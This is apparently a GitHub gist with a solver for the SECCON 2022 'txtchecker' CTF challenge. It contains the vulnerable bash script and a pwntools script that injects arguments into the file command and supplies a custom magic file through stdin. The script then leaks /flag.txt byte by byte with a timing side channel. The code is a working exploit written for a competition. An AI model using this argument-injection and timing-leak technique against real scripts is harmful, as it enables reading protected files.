Skip to content

Instantly share code, notes, and snippets.

@mvanotti
Created November 13, 2022 21:02
Show Gist options
  • Save mvanotti/0069498b08f456e6d70b3258fb798113 to your computer and use it in GitHub Desktop.
Save mvanotti/0069498b08f456e6d70b3258fb798113 to your computer and use it in GitHub Desktop.
Solver for SECCON Quals 2022, txtchecker misc challenge
#!/bin/bash
read -p "Input a file path: " filepath
file $filepath 2>/dev/null | grep -q "ASCII text" 2>/dev/null
# TODO: print the result the above command.
# $? == 0 -> It's a text file.
# $? != 0 -> It's not a text file.
exit 0
#!/usr/bin/python3
from pwntools import pwn
import time
TIMEOUT = 1
pwn.context.log_level='CRITICAL'
"""
Creates a magic instance named 'mayhem' that ends up making 2**depth calls.
For example for depth = 2 it would look like:
0 name f0
>1 default x x
0 name f1
>0 use f0
>0 use f0
0 name mayhem
>0 use f1
"""
def build_template(depth):
template = ['0 name f0']
template.append('>1 default x x')
for i in range(1, depth):
template.append(f'0 name f{i}')
template.append(f'>0 use f{i-1}')
template.append(f'>0 use f{i-1}')
template.append(f'0 name mayhem')
template.append(f'>0 use f{depth-1}')
return '\n'.join(template).encode()
def check_magic(magic, timeout):
args = 'sshpass -p ctf ssh -tt -oStrictHostKeyChecking=no -oCheckHostIP=no ctf@txtchecker.seccon.games -p 2022'.split(' ')
target = pwn.process(args)
target.recvuntil(b'Input a file path:')
parameters = b'-P name=1000000 -n -m /proc/self/fd/0 /flag.txt'
target.sendline(parameters)
target.sendline(magic)
target.send(b'\x04')
start = time.time()
target.recvall(timeout=timeout)
end = time.time()
print(f'{end - start}')
return (end - start) < timeout
"""
magic that takes too long if value at offset is not eq to given value.
"""
def neq_magic(offset, val):
payload = [f'{offset} byte !{val} x']
payload.append('>0 use mayhem')
return '\n'.join(payload).encode()
"""
magic that takes too long if value at offset is greater than given value.
"""
def gt_magic(offset, val):
payload = [f'{offset} byte >{val} x']
payload.append('>0 use mayhem')
return '\n'.join(payload).encode()
def reset():
return 0x20, 0x7F, 0
template = build_template(20)
left, right, tries = reset()
flag = list("SECCON{")
while True:
offset = len(flag)
needle=(left + right)//2
if left == right:
magic = neq_magic(offset, needle)
print(f'!{chr(needle)} ', end='')
else:
magic = gt_magic(offset, needle)
print(f'>{chr(needle)} ', end='')
res = check_magic(template + b'\n' + magic, TIMEOUT)
if not res and left == right:
left, right, tries = reset()
continue
if res and left == right:
left, right, tries = reset()
flag.append(chr(needle))
print(''.join(flag))
continue
if not res:
left = needle + 1
else:
right = needle
tries += 1
if tries > 15:
left, right, tries = reset()
@mvanotti
Copy link
Author

In this challenge, you have control over the parameters passed to file. You can create a "magic file" (man magic) and use that to leak data: check if a byte at a specific offset is greater than a given value, if it is, make the magic check spend a lot of time, otherwise, exit instantly.

By using the parameters -m /proc/self/fd/0, you can pass the magic file via stdin.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment